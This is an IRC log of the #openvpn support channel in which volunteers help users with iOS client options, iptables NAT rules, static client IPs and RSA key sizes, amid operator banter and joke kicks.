07:56 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 252 seconds]
07:56  * cnf sighs
07:56 <@ecrist> cnf: get what you can, but we can't promise an answer
07:57 <@ecrist> server config is generally important
07:57 <@ecrist> we'll start with what you have
07:58 < cnf> http://pastie.org/private/dgj9p1frenwwdq0la1olmg is client log
07:58 < cnf> (as a side note, my linux laptop connects fine, and works as expected)
08:04 < cnf> hmm, some searching seems to indicate the ios client doesn't like the fragment option
08:07 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
08:13 -!- BadCodSmell [~BadCodSme@pdpc/supporter/professional/badcodsmell] has quit [Remote host closed the connection]
08:13 -!- BadCodSmell [~BadCodSme@host81-149-71-228.in-addr.btopenworld.com] has joined #openvpn
08:13 -!- BadCodSmell [~BadCodSme@host81-149-71-228.in-addr.btopenworld.com] has quit [Changing host]
08:13 -!- BadCodSmell [~BadCodSme@pdpc/supporter/professional/badcodsmell] has joined #openvpn
08:18 <@ecrist> iOS/Android clients use a different client source than the normal opensource client, so there may be issues
08:18 <@ecrist> try removing the fragment option and see if that helps
08:24 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 245 seconds]
08:24 -!- takamichi [~takamichi@217.23.15.212] has joined #openvpn
08:25 -!- BadCodSmell [~BadCodSme@pdpc/supporter/professional/badcodsmell] has quit [Read error: Connection reset by peer]
08:25 -!- FishyCodeSmell [~BadCodSme@host81-149-71-228.in-addr.btopenworld.com] has joined #openvpn
08:29 < cnf> yeah, i can't remove it server side
08:39 -!- FishyCodeSmell [~BadCodSme@host81-149-71-228.in-addr.btopenworld.com] has quit [Remote host closed the connection]
08:39 -!- BadCodSmell [~BadCodSme@host81-149-71-228.in-addr.btopenworld.com] has joined #openvpn
08:39 -!- BadCodSmell [~BadCodSme@host81-149-71-228.in-addr.btopenworld.com] has quit [Changing host]
08:39 -!- BadCodSmell [~BadCodSme@pdpc/supporter/professional/badcodsmell] has joined #openvpn
08:40 < Nothing4You> jzaw: you there?
08:40 -!- Eagleman [~Eagleman@vpn.eagleman.net] has joined #openvpn
08:44 -!- Poster [~poster@cpe-173-88-30-149.columbus.res.rr.com] has quit [Ping timeout: 252 seconds]
08:46 -!- takamichi [~takamichi@217.23.15.212] has quit [Ping timeout: 255 seconds]
08:47 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has left #openvpn []
08:49 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
08:52 < jzaw> Nothing4You, ping
08:52 < Nothing4You> jzaw: pong
08:52 < jzaw> :)
08:53 < jzaw> how can i help?
08:53 < Nothing4You> you said you'd have a setup similar to what i want, you just wouldn't have access to the configs at that time
08:53 < Nothing4You> when would you get access to them?
08:54 <@dazo> jzaw: Just reply:   I have Nothing4You   :-P
08:54 < jzaw> this saturday ... if you can wait
08:54 < jzaw> hehe dazo
08:54 < Nothing4You> ok, nice
08:54 < Nothing4You> i can wait
08:54 < Nothing4You> dazo: luckily he has Something4Me
08:54 < jzaw> the box is switched off at the mo (deliberately)
08:54 <@dazo> Nothing4You: nah .... he has Nothing4You yet ;-)
08:55 < jzaw> it'll be Vpn4You ?
08:55 < Nothing4You> he will have Something4Me though
08:55 < Nothing4You> it'll be Config4Me
08:55 < rob0> but a very good chance it's NotMuch4You then!
08:55 < jzaw> or CompletelyWrong4You
08:55 < rob0> yup
08:56 < Nothing4You> maybe just Perfect4Me (with small modifications ofc)
09:00 < pppingme> do ping and ping-restart have defaults, or do they just not come into play if not specified?
09:01 -!- p3rror [~p3rror@41.248.110.100] has joined #openvpn
09:04 < rob0> --ping, not that I can see; --ping-restart, yes. See each in the man page.
09:08 < CygniX> If you have multiple IPs, does server.conf need special configuration to use all the IPs?
09:10 < rob0> By default a server will bind UDP, 0.0.0.0:1194 if no --local or --port or --proto is specified.
09:12 < CygniX> Perhaps, the nat post routing is the issue then
09:12 < rob0> I thought you meant "listen for clients on all IP addresses"
09:12 < CygniX> iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -j SNAT --to  [x.x.x.x] should be done all IPs?
09:13 < CygniX> rob0: that is what I meant
09:13 < rob0> If you mean to use those addresses outbound, such as for --redirect-gateway on clients, it's a different story.
09:14 < CygniX> I am following this guide: http://tipupdate.com/how-to-install-openvpn-on-centos-vps/
09:14 <@vpnHelper> Title: How to Install Centos OpenVPN on VPS | Tech Views (at tipupdate.com)
09:14 < CygniX> It is connecting, but only on the main IP address
09:17 -!- FishyCodeSmell [~BadCodSme@host81-149-71-228.in-addr.btopenworld.com] has joined #openvpn
09:17 -!- BadCodSmell [~BadCodSme@pdpc/supporter/professional/badcodsmell] has quit [Read error: Connection reset by peer]
09:18 < rob0> You might be better off using the official howto,
09:18 < rob0> !howto
09:18 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
09:20 -!- Poster [~poster@oh-67-77-115-176.sta.embarqhsd.net] has joined #openvpn
09:20 < rob0> Most bloggers out there don't know enough to be writing documentation. They get something working with a bare minimum of understanding, are proud of their success, then post a howto. No telling how much it's missing.
09:26 <@dazo> hahaha ... best IP address hiding ever .... http://tipupdate.com/wp-content/uploads/2011/07/keys-moved-to-pc.jpg  (from that howto)
09:26 < CygniX> I'll go over the official howto, I had skimmed through it, and didnt see how to get multiple IPs working rob0
09:27 <@dazo> let's just guess ...
09:27 <@dazo> $ telnet 46.20.231.179 22
09:27 <@dazo> Trying 46.20.231.179...
09:27 <@dazo> Connected to 46.20.231.179.
09:27 <@dazo> Escape character is '^]'.
09:27 <@dazo> SSH-2.0-OpenSSH_6.0
09:27 < CygniX> hard to guess
09:27 < Nothing4You> dazo: don't spam please
09:27 < rob0> I usually don't review blog-howtos, but I started loading that one. I stopped when I saw the first image was about putty!
09:27 -!- soapee01_ is now known as soapee01
09:27 -!- Nothing4You was kicked from #openvpn by dazo [I got powers here]
09:27 -!- Nothing4You [N4Y@Nothing4You.w.tf-w.tf] has joined #openvpn
09:27 < CygniX> O.O
09:27 < rob0> dazo, he did say "please" :)
09:28 <@ecrist> lol
09:28 < Nothing4You> without being op? how?
09:28 <@dazo> as I just said ... I got power ....
09:28 < CygniX> not nice
09:28 <@ecrist> you forgot the maniacle laugh, dazo
09:28 < CygniX> unless this is some kind of jokes between friends
09:28 <@ecrist> muahahahahahaha!
09:29 -!- mode/#openvpn [+o Eugene] by ChanServ
09:29 <@dazo> oh true!  there's no sound on irc!!! :-P
09:29 -!- dazo was kicked from #openvpn by Eugene [Abuse of powers]
09:29 < Nothing4You> lol
09:29 -!- Eugene was kicked from #openvpn by ecrist [abuse of the abuse of powers power]
09:29 < rob0> haha
09:29 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn
09:29 -!- mode/#openvpn [+o dazo] by ChanServ
09:29 < CygniX> o.O
09:29 -!- Eugene [eugene@madeitwor.se] has joined #openvpn
09:29 < rob0> 14:29 -!- Eugene was kicked from #openvpn by ecrist [abuse of the abuse of powers power]
09:29 -!- mode/#openvpn [+o Eugene] by ChanServ
09:29 <@dazo> hahaha!
09:29 < Nothing4You> oh dazo are you invisible?
09:30 < Nothing4You> wait nvm
09:30 <@dazo> oh dear .......
09:30 < Nothing4You> now i see you in my user list
09:30 -!- mode/#openvpn [+o rob0] by ChanServ
09:30 < Nothing4You> i could swear i couldn't find you a moment ago
09:30 -!- rob0 was kicked from #openvpn by rob0 [just because]
09:30 -!- rob0 [rob0@pdpc/valentine/postfixninja/rob0] has joined #openvpn
09:30 <@dazo> kicking his own arse ....
09:31 -ChanServ:#openvpn- ecrist set flags +S on krzee.
09:31 <@Eugene> It must be a slow morning
09:33 < CygniX> I hear IP frowning is frown upon here :P
09:33 -!- p3rror [~p3rror@41.248.110.100] has quit [Ping timeout: 264 seconds]
09:33 < CygniX> sorry, IP hiding that is
09:35 <@ecrist> IP hiding is just fine here
09:35 -!- p3rror [~p3rror@41.249.146.193] has joined #openvpn
09:35 <@ecrist> they're referred to as cloaks, generally
09:35 <@ecrist> and are available for users
09:35 <@dazo> From a very quick look at that how-to ... that's one of the more sane non-official how-tos I've read in a long long time
09:35 < CygniX> I mean when posting config files
09:35 < CygniX> You are not supposed to try to hide your IP
09:40 -!- amir__ [~amir@unaffiliated/amir] has joined #openvpn
09:42 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
09:42 -!- HaxCore [~p3rror@41.248.196.181] has joined #openvpn
09:43 <@Eugene> Cloaks are fine. Log censoring is not.
09:43 <@Eugene> There's no real rule against we, but most of us helpful support types stop caring once you lie to us.
09:43 <@ecrist> !topsecret
09:44 <@vpnHelper> "topsecret" is if your setup is so top secret that you cant post your configs or logs, please leave now and go find support you trust.
09:44 <@ecrist> CygniX: if you DO hide your IP, don't just change them ALL to X.X.X.X, do something smarter so we can at least identify subnetting issues/etc
09:45 <@ecrist> the reality is, we don't give a shit about your IPs, and you're not really protecting anything useful
09:45 -!- p3rror [~p3rror@41.249.146.193] has quit [Ping timeout: 252 seconds]
09:45 <@Eugene> X.X.1.2 is usually fine :-p
09:45 -!- BadCodSmell [~BadCodSme@host81-149-71-228.in-addr.btopenworld.com] has joined #openvpn
09:45 -!- BadCodSmell [~BadCodSme@host81-149-71-228.in-addr.btopenworld.com] has quit [Changing host]
09:45 -!- BadCodSmell [~BadCodSme@pdpc/supporter/professional/badcodsmell] has joined #openvpn
09:46 -!- FishyCodeSmell [~BadCodSme@host81-149-71-228.in-addr.btopenworld.com] has quit [Read error: Connection reset by peer]
09:46 < CygniX> ecrist: right, if the issue were subnetting...
09:47 < rob0> and it always seems that the mungers are the ones who can't identify such issues
09:48 -!- mikkel [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has quit [Quit: Leaving]
09:50 < CygniX> the funny thing is you all have cloaks
09:50 < CygniX> :P
09:50 <@ecrist> CygniX: the cloak is for vanity, not security
09:50 <@Eugene> I don't
09:50 <@Eugene> I like my collection of vanity domains
09:51 < CygniX> a whois does not show your IP
09:51 <@ecrist> CygniX: also, most people coming here for help generally don't konw what their actual problem is, so the less obfuscated their logs and config, the easier it is to identify
09:51 <@Eugene> No, it shows my domain name, as indicated by reverse DNS from my IP
09:51 <@ecrist> lol
09:51 < rob0> madeitwor.se :)
09:52 <@Eugene> And yet people still take my advice
09:52 < CygniX> lol
09:53 -!- amir__ [~amir@unaffiliated/amir] has quit [Remote host closed the connection]
09:55 -!- BadCodSmell [~BadCodSme@pdpc/supporter/professional/badcodsmell] has quit [Remote host closed the connection]
09:55 <@dazo> Eugene: that's because you have this github redirect .... everyone github have the answers to everything! (including meaning of life!!)
09:55 -!- BadCodSmell [~BadCodSme@pdpc/supporter/professional/badcodsmell] has joined #openvpn
09:56 <@dazo> everyone *knows*
09:56 <@ecrist> BadCodSmell: fix your bouncer
09:59 < CygniX> what kind of performance denigration can be expected if the default key size of 2048 is change to 4096, and would you say 1024 is safe?
10:00 <@dazo> CygniX: you should minimum use 2048, preferably 4096
10:00 -!- p3rror [~p3rror@41.249.82.101] has joined #openvpn
10:00 -!- norgi [~norgi@luleavn-1x-246.studentby.uit.no] has quit [Quit: Nettalk6 - www.ntalk.de]
10:01 <@dazo> CygniX: depending on the hardware (esp. CPU), the session key negotiation/exchange might take slightly longer ... but the tunnel speed itself, once the temporary session key is negotiated, will not have any impact
10:01 < CygniX> dazo: I wonder if I could use a ping test to see performance for each key size
10:01 < CygniX> Ok I see
10:01 <@dazo> CygniX: you won't notice any difference there
10:01 -!- HaxCore [~p3rror@41.248.196.181] has quit [Ping timeout: 260 seconds]
10:02 <@Eugene> The key/crt is only used to establish a secure path over which to exchange a symmetric key
10:02 <@Eugene> This second key is temporary, and only used for an hour(configurable) to encrypt/decrypt the tunnel data
10:02 <@dazo> you might see a difference if the server isn't too powerful and have many re-negotiations going on at the same time ... then you'll have the tunnel lagging a bit ... except of that, you won't notice
10:03 <@Eugene> There are no noticable practical downsides to using the largest key size available(4096), so just do it.
10:03 -!- vpopov [~happylife@dyn-32-176.fttbee.kis.ru] has joined #openvpn
10:03 < CygniX> That is good to know
10:03 < CygniX> hope this wont makeitworse :P
10:03 <@dazo> Eugene: isn't 8192 bit keys supported?
10:03 <@dazo> CygniX: no, it won't
10:03 <@Eugene> Not universally
10:04 < CygniX> dazo: I was just playing with Eugene, host name
10:04 <@dazo> ahh okay ... I thought I had tested with 8kbit keys a while ago ... but it was openvpn related, with openssl on both sides
10:06 < CygniX> At times I wonder if we just being too paranoid. RSA-768 was cracked 3 years ago, but it required a massive cluster to get it done.
10:13 <@dazo> CygniX: uhm ... isn't RSA-768 just a semi-prime number?  I don't think it's an encryption algorithm
10:15 < CygniX> dazo: I know very little about cryptography, but yea, I think you are correct
10:15 <@dazo> http://en.wikipedia.org/wiki/RSA_numbers#RSA-1024
10:15 <@vpnHelper> Title: RSA numbers - Wikipedia, the free encyclopedia (at en.wikipedia.org)
10:16 <@dazo> oh, wrong index ... scroll to top :)
10:21 -!- HaxCore [~p3rror@41.140.7.116] has joined #openvpn
10:22 -!- p3rror [~p3rror@41.249.82.101] has quit [Read error: Operation timed out]
10:25 -!- amir__ [~amir@unaffiliated/amir] has joined #openvpn
10:28 -!- Eagleman [~Eagleman@vpn.eagleman.net] has quit []
10:28 -!- mattock is now known as mattock_afk
10:28 < CygniX> Thanks guys, let me test the 4096
10:28 -!- CygniX [~CygniX@unaffiliated/twois10] has quit [Quit: Konversation terminated!]
10:32 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
10:32 -!- BadCodSmell [~BadCodSme@pdpc/supporter/professional/badcodsmell] has quit [Remote host closed the connection]
10:32 -!- BadCodSmell [~BadCodSme@pdpc/supporter/professional/badcodsmell] has joined #openvpn
10:34 -!- Orbi [~opera@46.246.35.29] has joined #openvpn
10:35 -!- HaxCore [~p3rror@41.140.7.116] has left #openvpn ["Leaving"]
10:36 -!- p3rror [~p3rror@41.140.7.116] has joined #openvpn
10:47 -!- Cpt-Oblivious [~cpt-obliv@a202101.upc-a.chello.nl] has joined #openvpn
10:50 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
10:51 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
10:56 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Client Quit]
10:57 -!- dioz [~dioz@2001:470:d:e3::1] has quit [Ping timeout: 245 seconds]
11:01 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
11:01 -!- BadCodSmell [~BadCodSme@pdpc/supporter/professional/badcodsmell] has quit [Remote host closed the connection]
11:01 -!- BadCodSmell [~BadCodSme@pdpc/supporter/professional/badcodsmell] has joined #openvpn
11:05 -!- dioz [~dioz@2001:470:d:e3::1] has joined #openvpn
11:05 -!- raidz_away is now known as raidz
11:08 -!- jthunder [~jthunder@174.3.126.51] has joined #openvpn
11:09 -!- brute11k [~brute@89.249.235.249] has joined #openvpn
11:10 -!- BadCodSmell [~BadCodSme@pdpc/supporter/professional/badcodsmell] has quit [Remote host closed the connection]
11:10 -!- BadCodSmell [~BadCodSme@host81-149-71-228.in-addr.btopenworld.com] has joined #openvpn
11:10 -!- BadCodSmell [~BadCodSme@host81-149-71-228.in-addr.btopenworld.com] has quit [Changing host]
11:10 -!- BadCodSmell [~BadCodSme@pdpc/supporter/professional/badcodsmell] has joined #openvpn
11:13 -!- raidz is now known as raidz_away
11:14 -!- Poster [~poster@oh-67-77-115-176.sta.embarqhsd.net] has quit [Ping timeout: 252 seconds]
11:17 -!- BadCodSmell [~BadCodSme@pdpc/supporter/professional/badcodsmell] has quit [Remote host closed the connection]
11:17 -!- BadCodSmell [~BadCodSme@host81-149-71-228.in-addr.btopenworld.com] has joined #openvpn
11:17 -!- BadCodSmell [~BadCodSme@host81-149-71-228.in-addr.btopenworld.com] has quit [Changing host]
11:17 -!- BadCodSmell [~BadCodSme@pdpc/supporter/professional/badcodsmell] has joined #openvpn
11:30 -!- raidz_away is now known as raidz
11:38 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has left #openvpn []
11:38 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
11:47 -!- BadCodSmell [~BadCodSme@pdpc/supporter/professional/badcodsmell] has quit [Remote host closed the connection]
11:48 -!- BadCodSmell [~BadCodSme@host81-149-71-228.in-addr.btopenworld.com] has joined #openvpn
11:48 -!- BadCodSmell [~BadCodSme@host81-149-71-228.in-addr.btopenworld.com] has quit [Changing host]
11:48 -!- BadCodSmell [~BadCodSme@pdpc/supporter/professional/badcodsmell] has joined #openvpn
11:53 -!- p3rror [~p3rror@41.140.7.116] has quit [Ping timeout: 252 seconds]
11:54 -!- BadCodSmell [~BadCodSme@pdpc/supporter/professional/badcodsmell] has quit [Remote host closed the connection]
11:55 -!- BadCodSmell [~BadCodSme@host81-149-71-228.in-addr.btopenworld.com] has joined #openvpn
11:55 -!- BadCodSmell [~BadCodSme@host81-149-71-228.in-addr.btopenworld.com] has quit [Changing host]
11:55 -!- BadCodSmell [~BadCodSme@pdpc/supporter/professional/badcodsmell] has joined #openvpn
12:04 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
12:05 -!- newbie|6 [~tjz@bb119-74-164-84.singnet.com.sg] has quit [Read error: Connection reset by peer]
12:20 -!- shutin [~ks@unaffiliated/shutin] has joined #openvpn
12:35 -!- pcdummy_ is now known as pcdummy
12:35 -!- pcdummy [~quassel@mx1.page4me.ch] has quit [Changing host]
12:35 -!- pcdummy [~quassel@unaffiliated/pcdummy] has joined #openvpn
12:36 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has quit [Remote host closed the connection]
12:44 -!- shutin [~ks@unaffiliated/shutin] has left #openvpn []
12:54 -!- dazo is now known as dazo_afk
13:02 -!- dioz [~dioz@2001:470:d:e3::1] has quit [Ping timeout: 245 seconds]
13:03 -!- dioz [~dioz@2001:470:d:e3::1] has joined #openvpn
13:13 -!- dioz [~dioz@2001:470:d:e3::1] has quit [Ping timeout: 264 seconds]
13:14 -!- dioz [~dioz@2001:470:d:e3::1] has joined #openvpn
13:17 -!- sysdoc [~sysdoc@pool-71-105-40-229.lsanca.dsl-w.verizon.net] has joined #openvpn
13:18 -!- TomM_ [~quassel@unaffiliated/tommehm] has quit [Read error: Connection reset by peer]
13:18 -!- Matir_ [~matir@ubuntu/member/matir] has quit [Ping timeout: 276 seconds]
13:21 -!- sysdoc [~sysdoc@pool-71-105-40-229.lsanca.dsl-w.verizon.net] has quit [Remote host closed the connection]
13:24 -!- Matir [~matir@ubuntu/member/matir] has joined #openvpn
13:25 -!- Devastator [~devas@unaffiliated/devastator] has quit []
13:30 -!- Anon2013 [~Anon2013@109.166.135.225] has joined #openvpn
13:30 -!- TomM_ [quassel@unaffiliated/tommehm] has joined #openvpn
13:39 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
13:39 -!- CygniX [~CygniX@unaffiliated/twois10] has joined #openvpn
13:40 -!- tabakhase_ is now known as tabakhase
13:40 < CygniX> Earlier, I was here asking about Key size and performance, here is the result: http://paste.opensuse.org/view/raw/ce60563a
13:41 < CygniX> There doesn't seem to be much difference, and that difference could be the result of the network at different times
13:42 < CygniX> it took 2 hours to build the 4096 Keys :)
13:42 < Anon2013> Hi everyone ,
13:42 < Anon2013> I'm trying to get static IP for a specific user . I've got the static internal IP and now I'm trying to configure iptables to send the traffic to a IPv4 the server has assigned .
13:42 < Anon2013> Is this the only command I'm suppose to run ?
13:42 < Anon2013> iptables -t nat -A POSTROUTING -s 192.xxx.xxx.xxx -j SNAT --to 10.100.8.1
13:44 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
13:44 < Anon2013> I've already run a couple of commands to allow traffic and my biggest fear is to NOT screw up the firewall since this is a live production server
13:45 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
13:47 -!- ade_b [~Ade@redhat/adeb] has quit [Quit: Too sexy for his shirt]
13:49 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
13:52 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
13:53 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 264 seconds]
13:55 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
13:59 -!- CygniX [~CygniX@unaffiliated/twois10] has quit [Quit: Konversation terminated!]
14:03 < Anon2013> !goal assign fixed ip to user
14:07 -!- Anon2013 [~Anon2013@109.166.135.225] has left #openvpn []
14:07 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 245 seconds]
14:16 -!- amir__ [~amir@unaffiliated/amir] has quit [Remote host closed the connection]
14:21 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 256 seconds]
14:23 <@ecrist> !static
14:23 <@vpnHelper> "static" is (#1) use --ifconfig-push in a ccd entry for a static ip for the vpn client or (#2) example in net30 (default): ifconfig-push 10.8.0.6 10.8.0.5 example in subnet (see !topology) or tap (see !tunortap): ifconfig-push 10.8.0.5 255.255.255.0 or (#3) also see !ccd and !iporder or (#4) when pushing static IPs, you should also limit your --ifconfig-pool to exclude the static range
14:23 -!- mattock_afk [~mattock@raidz.im] has joined #openvpn
14:23 -!- mattock_afk is now known as mattock
14:23 -!- mattock [~mattock@raidz.im] has quit [Changing host]
14:23 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn
14:23 -!- mode/#openvpn [+o mattock] by ChanServ
14:24 <@ecrist> oh, he left
14:28 -!- kubbing [~kubbing@ip-89-176-242-139.net.upcbroadband.cz] has joined #openvpn
14:31 -!- kubbing [~kubbing@ip-89-176-242-139.net.upcbroadband.cz] has quit [Remote host closed the connection]
14:33 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Ping timeout: 256 seconds]
14:38 -!- timmmaaaayyy [~timmmaaaa@cpe-68-175-79-100.nyc.res.rr.com] has quit [Ping timeout: 256 seconds]
14:38 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
14:40 -!- timmmaaaayyy [~timmmaaaa@cpe-68-175-79-100.nyc.res.rr.com] has joined #openvpn
14:41 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
14:45 -!- vpopov [~happylife@dyn-32-176.fttbee.kis.ru] has quit [Ping timeout: 240 seconds]
14:55 -!- kevinsky [~kevin@senna.rosendaal.net] has quit [Ping timeout: 252 seconds]
14:56 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
14:56 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 256 seconds]
14:57 -!- kevinsky [~kevin@senna.rosendaal.net] has joined #openvpn
15:08 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
15:13 -!- KrissO [~krisso@46.109-247-25.customer.lyse.net] has joined #openvpn
15:14 < KrissO> !paste
15:14 <@vpnHelper> "paste" is "pastebin" is (#1) please paste anything with more than 5 lines into pastebin or a similar website or (#2) https://gist.github.com is a recommended place to use
15:16 -!- Orbi [~opera@46.246.35.29] has left #openvpn []
15:26 < KrissO> hi. my openvpn server appears to shut down after a couple of minutes (i tried now without connecting a client)
15:27 < KrissO> openvpn.log: http://pastebin.com/hr9Gf0n2
15:27 < KrissO> not sure why it's acting this way
15:29 -!- AvatarAang [~Valcorb@109.201.152.199] has joined #openvpn
15:30 -!- AvatarAang [~Valcorb@109.201.152.199] has left #openvpn []
15:30 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
15:31 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit [Ping timeout: 245 seconds]
15:32 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
15:34 -!- LEDfan [~quassel@94-226-126-193.access.telenet.be] has quit [Remote host closed the connection]
15:35 -!- brute11k [~brute@89.249.235.249] has quit [Quit: Leaving.]
15:37 -!- Valcorb [~Valcorb@109.201.152.199] has joined #openvpn
15:37 -!- Valcorb [~Valcorb@109.201.152.199] has quit [Client Quit]
15:39 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 245 seconds]
15:41 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn
15:41 -!- mode/#openvpn [+o dazo_afk] by ChanServ
15:41 -!- dazo_afk is now known as dazo
15:46 < rob0> KrissO, line 343. Something sent it a SIGTERM.
15:48 < rob0> I'm not sure if it's related to 337 et seq.
15:49 < KrissO> rob0, yeah I saw :/ I have no idea what or why
15:53 < KrissO> hm ok
15:57 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 245 seconds]
16:09 < FluxD> !tap
16:09 <@vpnHelper> "tap" is "bridge" is (#1) http://openvpn.net/index.php/documentation/faq.html#bridge1, or (#2) http://openvpn.net/index.php/documentation/miscellaneous/ethernet-bridging.html, or (#3) Bridging looks like a good choice to people who don't know how to set up IP routing, but to learn routing is generally far better., or (#4) useful for windows sharing (without wins server) and LAN gaming, anything where
16:09 <@vpnHelper> the protocol uses MAC addresses instead of IP addresses.
16:09 < FluxD> !tun
16:11 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
16:14 -!- hsn [~chatzilla@u154-43.static.grapesc.cz] has joined #openvpn
16:20 -!- amir__ [~amir@unaffiliated/amir] has joined #openvpn
16:31 -!- pwrcycle [~pwrcycle@173.214.160.92] has quit [Ping timeout: 264 seconds]
16:38 -!- pwrcycle [~pwrcycle@173.214.160.92] has joined #openvpn
16:41 -!- Willis [Willis@173.234.237.131] has quit [Ping timeout: 252 seconds]
16:42 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
16:52 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
16:54 -!- pppingme [~pppingme@unaffiliated/pppingme] has quit [Ping timeout: 252 seconds]
16:56 -!- pwrcycle [~pwrcycle@173.214.160.92] has quit [Changing host]
16:56 -!- pwrcycle [~pwrcycle@unaffiliated/pwrcycle] has joined #openvpn
16:58 -!- amir__ [~amir@unaffiliated/amir] has quit [Remote host closed the connection]
17:00 -!- amir__ [~amir@unaffiliated/amir] has joined #openvpn
17:02 -!- amir__ [~amir@unaffiliated/amir] has quit [Client Quit]
17:05 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
17:08 -!- pppingme [~pppingme@unaffiliated/pppingme] has joined #openvpn
17:20 -!- pppingme [~pppingme@unaffiliated/pppingme] has quit [Ping timeout: 252 seconds]
17:20 -!- amir__ [~amir@unaffiliated/amir] has joined #openvpn
17:23 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
17:28 -!- Willis [Willis@173.234.237.131] has joined #openvpn
17:28 -!- amir__ [~amir@unaffiliated/amir] has quit [Quit: Leaving]
17:29 -!- amir__ [~amir@unaffiliated/amir] has joined #openvpn
17:32 -!- pppingme [~pppingme@unaffiliated/pppingme] has joined #openvpn
17:59 -!- smerz [~smerz@a177088.upc-a.chello.nl] has joined #openvpn
18:01 -!- hsn [~chatzilla@u154-43.static.grapesc.cz] has quit [Quit: ChatZilla 0.9.90 [Firefox 20.0/20130326150557]]
18:03 -!- LunixA380 [~Lunix@199.58.84.36] has joined #openvpn
18:03 < LunixA380> !welcome
18:03 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
18:03 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
18:03 < LunixA380> !goal
18:03 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
18:05 -!- dioz [~dioz@2001:470:d:e3::1] has quit [Read error: Connection reset by peer]
18:06 -!- dioz [~dioz@2001:470:d:e3::1] has joined #openvpn
18:07 < LunixA380> Hello OpenVPN support channel. My internet connection is somewhat unreliable and slow (10 KB/s), and I use a VPN to tunnel my Internet traffic. I don't have control on server conf file. Is there is any way to optimize the connection with this kind of downlink speed? I'm not a english native speaker. :p
18:08 < LunixA380> Another question: I can request help from some people in order to make another VPN to tunnel my traffic, but this time with control of server conf file. With a control of server conf file, can I do something better than without for "optimizing" OpenVPN behavior?
18:09 < LunixA380> I'm on WinXP
18:10 -!- SpookZA [~SpookZA@41-133-138-52.dsl.mweb.co.za] has left #openvpn []
18:14 -!- jthunder_ [~jthunder@174.3.126.51] has joined #openvpn
18:16 -!- jthunder [~jthunder@174.3.126.51] has quit [Ping timeout: 260 seconds]
18:16 -!- jthunder_ is now known as jthunder
18:19 -!- jthunder [~jthunder@174.3.126.51] has quit [Client Quit]
18:25 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Remote host closed the connection]
